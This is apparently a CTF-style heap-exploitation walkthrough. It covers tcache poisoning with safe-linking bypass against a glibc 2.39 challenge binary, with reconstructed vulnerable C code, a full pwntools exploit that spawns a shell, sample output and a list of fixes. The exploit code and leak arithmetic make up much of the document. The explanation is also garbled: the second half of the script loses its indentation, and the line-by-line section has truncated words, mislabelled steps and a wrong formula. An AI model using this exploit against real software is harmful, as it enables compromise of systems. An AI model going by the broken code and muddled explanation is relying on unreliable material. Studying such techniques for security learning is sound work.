

Level 3: Tcache Poisoning – Callback Overwrite

Heap Exploitation Walkthrough | x86-64 Linux | Intermediate

1. What is Tcache Poisoning?

Tcache poisoning is a heap exploitation technique that abuses the thread-local cache (tcache) of glibc. Freed chunks of the same size are kept in a singly-linked free list; the first 8 bytes of a freed chunk store the pointer to the next free chunk (fd). If a program lets us write to a freed chunk (a Use-After-Free), we can overwrite fd. The next malloc() of that size then returns a chunk at an arbitrary address of our choice.

On modern glibc (2.32+) the fd field is obfuscated with safe-linking: `stored_fd = (chunk_addr >> 12) ^ next_chunk_ptr`. This forces us to leak the heap first so we can build a valid encoded pointer.

In this challenge the final target is neither a GOT entry nor a libc hook (`__free_hook` was removed in glibc 2.34+). Instead we make malloc() return a chunk that **overlaps the function pointer** of an existing, still-allocated packet, overwrite that pointer with the address of `secret()`, and trigger it to get a shell.

2. Security Settings

Compiled with hardening, but the binary is not stripped and ships without PIE.

Protection	Status	Impact
Stack Canary	OFF	No stack smashing detection
PIE	OFF	Binary addresses are fixed (0x400000 base)
NX	ON	Stack not executable (no shellcode)
RELRO	Partial	GOT is writable
CET (SHSTK / IBT)	ON	No ROP; indirect calls must land on endbr64
glibc	2.39	safe-linking ON, <code>__free_hook</code> removed
Stripped	No	Function names visible in objdump / nm

3. The Source Code (reconstructed from disassembly)

The challenge ships without source, but the logic is easy to reconstruct from `objdump -d ./tcache_poison` and the strings in `.rodata`:

```
typedef struct {
    char buffer[24];           // offset 0x00: 24 bytes
    void (*handler)(void*);    // offset 0x18: 8 bytes <-- FUNCTION POINTER
    char data[64];             // offset 0x20: 64 bytes
} Packet;                     // total: 96 bytes == malloc(0x60)

Packet *pkts[16];             // array at 0x404080
int pidx = 0;                 // counter at 0x404100

void handle_packet(void *ptr) {
    printf("Packet: %s\n", (char*)ptr);
}

void secret() {               // <-- win function
    puts("Willkommen im sicheren Hafen!");
    system("/bin/sh");
}

void create() {
    if (pidx > 15) return;
    pkts[pidx] = malloc(0x60);
    pkts[pidx]->handler = handle_packet; // sets fn pointer
    printf("Buffer: ");
    read(0, pkts[pidx]->buffer, 24);    // 24 bytes
    printf("Data: ");
}
```

```

    read(0, pkts[pidx]->data, 64);          // 64 bytes
    pidx++;
}

void delete() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= pidx || !pkts[i]) return;
    free(pkts[i]);
    // BUG: pkts[i] is NOT set to NULL -> UAF
}

void edit() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= pidx || !pkts[i]) return;
    printf("Buffer: ");
    read(0, pkts[i]->buffer, 24);           // 24 bytes
    printf("Data: ");
    read(0, pkts[i]->data, 64);            // 64 bytes
}

void trigger() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= pidx || !pkts[i]) return;
    pkts[i]->handler(pkts[i]);              // calls fn pointer
}

```

4. The Vulnerability: UAF on a Tcache Chunk

`delete()` calls `free(pkts[i])` but never sets `pkts[i] = NULL`. This leaves a dangling pointer. Because the array entry is not cleared, `edit()` can still write into the freed chunk.

After `free()`, the first 8 bytes of the chunk are reinterpreted as the tcache fd pointer (encoded with safe-linking). Writing there corrupts the free list, and the next `malloc(0x60)` hands back an arbitrary address.

5. Struct Layout and Key Offset

Offset	Field	Size
0x00	buffer	24 bytes
0x18	handler (fn pointer)	8 bytes <-- TARGET
0x20	data	64 bytes

`malloc(0x60)` = 96-byte user area, tcache bin size 0x70. The function pointer sits at offset 0x18, but `edit()` only writes 24 bytes (offsets 0x00..0x17) – it cannot reach offset 0x18 directly. We reach it **indirectly**: make `malloc()` return a chunk whose start is `B + 0x10`, so the 24-byte write spans `B + 0x10 .. B + 0x27` and covers `B + 0x18`.

6. The Attack Strategy

Step 1 – Create two packets. Create A (idx 0) and B (idx 1). Both have `handler = handle_packet`.

Step 2 – Heap leak part 1 (page key). `delete(0)` puts A alone into the tcache bin, so A's fd = `A >> 12` (safe-linking with next = NULL). `trigger(0)` still works (UAF, handler field untouched by free) and prints the bytes of the freed chunk via `printf("Packet: %s\n")` -> we recover `key = A >> 12`.

Step 3 – Heap leak part 2 (full address). `delete(1)` builds the chain B->A; B's fd = `(B >> 12) ^ A`. Since `B >> 12 == A >> 12 == key` (same page), `A = leakB ^ key` gives the full chunk address. Then `B = A + 0x70`.

Step 4 – Poison the tcache. `edit(1)` (UAF write on B) overwrites B's fd with the encoded target `enc = (B >> 12) ^ (B + 0x10)`.

Step 5 – Reallocate. First `create()`: `malloc` returns B, tcache head becomes `P = B + 0x10`. Second `create()`: `malloc` returns P.

Step 6 – Overwrite the function pointer. The second `create()`'s `read(0, P, 24)` writes across `B + 0x10 .. B + 0x27`. We place `secret (0x40124c)` at offset 0x08 of the payload -> `B + 0x18 = secret`.

Step 7 – Trigger. `trigger(1)` calls `*(B + 0x18) = secret()` -> `system("/bin/sh")` -> shell.

7. The Exploit (exploit.py)

```
from pwn import *

context.binary = elf = ELF('./tcache_poison')
context.log_level = 'info'

SECRET = 0x40124c

def attempt():
    p = process('./tcache_poison', stdin=PIPE)

    def menu(c):
        p.recvuntil(b'> ')
        p.sendline(str(c).encode())

    def create(p24, p64):
        menu(1)
        p.recvuntil(b'Buffer: ')
        p.send(p24)
        p.recvuntil(b'Data: ')
        p.send(p64)
        p.recvuntil(b'created')

    def delete(idx):
        menu(2)
        p.recvuntil(b'Index: ')
        p.sendline(str(idx).encode())
        p.recvuntil(b'deleted')

    def edit(idx, p24, p64=b'D' * 64):
        menu(3)
        p.recvuntil(b'Index: ')
        p.sendline(str(idx).encode())
        p.recvuntil(b'Buffer: ')
        p.send(p24)
        p.recvuntil(b'Data: ')
        p.send(p64)

    def trigger(idx):
        menu(4)
        p.recvuntil(b'Index: ')
        p.sendline(str(idx).encode())

    create(b'A' * 24, b'B' * 64)
    create(b'C' * 24, b'D' * 64)

    delete(0)
    trigger(0)
    p.recvuntil(b'Packet: ')
    leak1 = p.recvuntil(b'\n', drop=True)

    delete(1)
    trigger(1)
    p.recvuntil(b'Packet: ')
    leak2 = p.recvuntil(b'\n', drop=True)

    if len(leak1) < 3 or len(leak2) < 4:
        log.warning(f'bad leaks {leak1.hex()} {leak2.hex()}, retrying')
        p.close()
        return None
```

```

key = u64(leak1.ljust(8, b'\x00'))
val = u64(leak2.ljust(8, b'\x00'))
A = val ^ key
log.info(f'key={hex(key)} A={hex(A)}')

if not (0x100000 <= A <= 0x7fffffffffff):
    p.close()
    return None

B = A + 0x70
P = B + 0x10
enc = (B >> 12) ^ P
log.info(f'B={hex(B)} P={hex(P)} enc={hex(enc)}')

edit(1, p64(enc) + b'\x00' * 16)

create(b'C' * 24, b'D' * 64)

create(b'\x00' * 8 + p64(SECRET) + b'\x00' * 8, b'D' * 64)

trigger(1)
return p

for i in range(20):
    log.info(f'attempt {i}')
    p = attempt()
    if p is not None:
        break

p.interactive()

```

Line-by-line explanation

What they do

port pwntools, load the ELF (no PIE, so addresses are static) and set the leak amount. SECRET = 0x40124c is the win function.

prompt() spawns the binary with stdin as a pipe. A pipe delivers bytes immediately (no terminal line buffering), which matters because the menu mixes scanf() and

menu(): waits for the '>' prompt and sends the menu number.

choice(1): menu choice 1, then 'Buffer: ' -> 24 bytes, 'Data: ' -> 64 bytes. Both reads must be served or the program blocks.

choice(2): menu choice 2, then the index. After this the pointer is NOT nulled (UAF).

choice(3): menu choice 3, index, 24-byte 'Buffer: ' payload and 64-byte 'Data: ' payload. Used for the heap leak decode AND the tcache poisoning.

choice(4): menu choice 4 and index. This calls *(chunk + 0x18), our execution primitive.

choice(0): prepare the two setup packets A (idx 0) and B (idx 1).

choice(0) + trigger(0): read A's fd = A >> 12 (single chunk in bin) -> leak1 = heap page key.

choice(1) + trigger(1): read B's fd = (B >> 12) ^ A -> leak2.

Sanity checks: the leaks must be long enough, otherwise the run is restarted (heap addresses vary per run).

Calculate B = A >> 12. Full address: A = leak2 ^ key. B is the next 0x70 chunk.

Calculate P = B + 0x10 (16-byte aligned, required by tcache_get's alignment check) and the safe-linking encoded fd enc = (B >> 12) ^ P.

choice(1): poison B's fd so the next two mallocs return B, then P.

choice(0) + choice(1): malloc returns B (consumes the chunk), tcache head becomes P.

choice(0) + choice(1): malloc returns P = B + 0x10. The 'Buffer: ' read writes 24 bytes at B + 0x10; secret lands at offset 0x08 -> B + 0x18 = 0x40124c.

choice(1): *(B + 0x18) = secret() -> system("/bin/sh") -> shell.

Retry loop: on a bad leak, close and respawn (fresh ASLR) and try again.

End the session to the user for interactive shell access.

8. Address Reference

Symbol / Constant	Address	Note
secret()	0x40124c	Win function: puts(...) then system("/bin/sh")
handle_packet()	0x401216	Default handler, set at chunk+0x18 on create
system@plt	0x4010d0	Not needed here (secret calls it internally)
free@got	0x404000	GOT entry (Partial RELRO -> writable)
pkts[]	0x404080	Array of 16 chunk pointers
pidx	0x404100	Packet counter
Chunk size	0x70	malloc(0x60) -> tcache bin 0x70
Fn pointer offset	0x18	offsetof(Packet, handler)

9. Expected Output

```
$ python3 exploit.py
[*] '/home/.../tcache_poison'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
  SHSTK:     Enabled
  IBT:       Enabled
[*] attempt 0
[+] Starting local process './tcache_poison': pid 28833
[*] key=0x3ad27 A=0x3ad272a0
[*] B=0x3ad27310 P=0x3ad27320 enc=0x3ad1de07
[*] Switching to interactive mode
Willkommen im sicheren Hafen!
$ id
uid=1000(etiennekrein) gid=1000(etiennekrein) groups=1000(etiennekrein)
$
```

10. Understanding the Heap Internals

tcache. The thread-local cache is a per-size singly-linked list of freed chunks. `malloc(0x60)` maps to the 0x70 size class. Freed chunks are re-used LIFO for the same size. There are at most 7 chunks per bin in the tcache; larger frees fall through to fastbin/unordered bins.

safe-linking (glibc >= 2.32). The fd stored in a freed tcache chunk is obfuscated: `PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr`, where pos is the address of the fd field itself. For a single-chunk bin (next = NULL) the stored fd is simply `chunk >> 12` – that is exactly what we leak in Step 2. To poison, we compute `enc = (B >> 12) ^ P` and write it over the fd. Without the heap leak this value could never be constructed.

tcache_get() checks (glibc 2.39). When a chunk is pulled from the tcache, glibc verifies 16-byte alignment of the returned pointer and clears the key field at offset +8. There is no size check on the target, which is why poisoning a chunk at `B + 0x10` is allowed (B is 0x10-aligned, so `B + 0x10` is too). The `key = 0` write lands at `B + 0x18` before our read, but our payload overwrites it again.

Why not the GOT / hooks? glibc 2.39 has no `__free_hook` or `__malloc_hook` (removed in 2.34). Overwriting the GOT is possible (Partial RELRO) but would clobber neighbouring GOT entries and break lazy binding. Overwriting a function pointer on the heap is clean, CET-safe (secret() begins with `endbr64`, so the indirect call in `trigger()` passes the IBT check) and needs no libc leak at all.

I/O subtlety. `scanf("%d")` consumes its delimiter via `stdio`; the raw `read()` calls then see exactly the payload bytes we send (stdin is set to unbuffered via `setvbuf`). That is why the exploit sends `menu/index` with `sendline()` and the payloads as separate `send()` calls, byte-exact.

11. How to Prevent This Vulnerability

Fix	Why it helps
NULL the pointer after free()	Destroy the dangling pointer; edit()/trigger() then hit the NULL check and abort.
Keep write access out of freed memory	Do not let users edit chunks that are no longer owned.
Keep safe-linking (already on)	Forces an attacker to leak the heap first; raises the bar significantly.
Heap tagging / hardened allocators	glibc MTE or isolated allocators catch cross-region writes.
AddressSanitizer	Compile with -fsanitize=address to detect UAF at runtime during development.
Remove win functions	A system("/bin/sh") function in the binary is a free gift for the attacker.
Verify function pointers	Only allow handler values from a fixed, read-only table.

Walkthrough generated for educational purposes. Only use these techniques on systems you own or have permission to test.